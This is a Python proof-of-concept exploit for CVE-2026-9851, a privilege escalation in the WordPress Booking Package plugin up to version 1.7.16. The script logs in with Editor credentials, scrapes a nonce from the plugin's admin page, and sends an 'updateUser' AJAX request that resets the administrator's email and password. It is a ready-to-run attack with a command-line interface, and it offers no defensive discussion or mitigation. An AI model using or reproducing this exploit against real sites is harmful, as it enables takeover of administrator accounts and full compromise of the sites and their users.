import requests
import sys
from urllib.parse import urlencode
# CVE-2026-9851 PoC - Booking Package Privilege Escalation
# Target: WordPress with Booking Package plugin <= 1.7.16
def exploit_cve_2026_9851(target_url, username, password, target_user_id=1, target_email='
[email protected]'):
"""
Exploit privilege escalation via account takeover
Required: Editor-level access or higher
"""
# Get nonce from plugin's AJAX endpoint
nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=package_app_action"
# Construct the exploit payload
# The 'updateUser' action bypasses capability check
payload = {
'action': 'package_app_action',
'nonce': 'attacker_needs_valid_nonce', # Must obtain valid nonce
'method': 'updateUser',
'user_id': target_user_id, # Target user (1 = admin)
'user_email': target_email, # New email for account takeover
'user_pass': 'NewP@ssw0rd123!' # New password
}
# Note: Attacker needs valid nonce, obtainable from plugin pages
# when authenticated as Editor or higher
session = requests.Session()
# Step 1: Authenticate with Editor+ privileges
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
session.post(f"{target_url}/wp-login.php", data=login_data)
# Step 2: Obtain valid nonce from plugin page
resp = session.get(f"{target_url}/wp-admin/admin.php?page=booking-package")
import re
nonce_match = re.search(r'nonce["\']?\s*:\s*["\']([a-zA-Z0-9]+)["\']', resp.text)
if nonce_match:
payload['nonce'] = nonce_match.group(1)
# Step 3: Send exploit request
exploit_resp = session.post(
f"{target_url}/wp-admin/admin-ajax.php",
data=payload,
headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
return exploit_resp.status_code, exploit_resp.text
if __name__ == '__main__':
if len(sys.argv) < 4:
print('Usage: python cve-2026-9851.py <target_url> <username> <password>')
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
status, response = exploit_cve_2026_9851(target, user, pwd)
print(f'Status: {status}')
print(f'Response: {response}')